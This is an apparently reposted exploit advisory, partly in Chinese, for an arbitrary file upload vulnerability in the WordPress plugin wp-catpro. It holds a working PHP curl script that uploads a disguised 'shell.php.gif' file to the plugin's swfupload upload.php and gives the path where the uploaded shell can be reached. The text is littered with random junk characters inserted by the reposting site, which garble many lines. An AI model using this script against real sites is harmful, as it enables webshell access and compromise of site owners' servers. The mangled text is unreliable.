WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
5 v9 f% ]9 Q. i5 X#-----------------------------------------------------------------------
2 B' x- U0 f  a! F2 }9 c
作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
& |$ T3 j5 B) X! Q* E####

( O' T- a- V: |2 X' `; c# n( `#=> Exploit 信息:
------------------
* n5 d! d1 H% u7 P9 p) E# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
" f2 ~9 [& A1 Z: z7 H- d3 O# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
" x( D% B8 z9 Z------------------
- v9 U2 ^! F/ z, U" A, n
0 D7 Y3 K, y) u2 Q3 S#=> Exploit
2 \" g4 @6 Q; x+ U3 x-----------
<?php
. N* T- C! S2 b0 {5 d
6 ~7 m) a0 o' M- y$ T$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
4 T! ~$ y0 W3 T) ~- {* vcurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
/ H7 z; m! d% a0 B/ J$ `# Narray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4 _$ u/ d0 N' Z& \' e# A$postResult = curl_exec($ch);
: @: X: |! B' ]# x+ G8 `curl_close($ch);
) ?* h/ |- o2 w+ s8 x9 i8 M6 R. U
print "$postResult";

5 D  V/ G7 e# J" s' S2 BShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
6 l0 B7 k( C0 ^; O8 x  ?>
<?php
phpinfo();
?>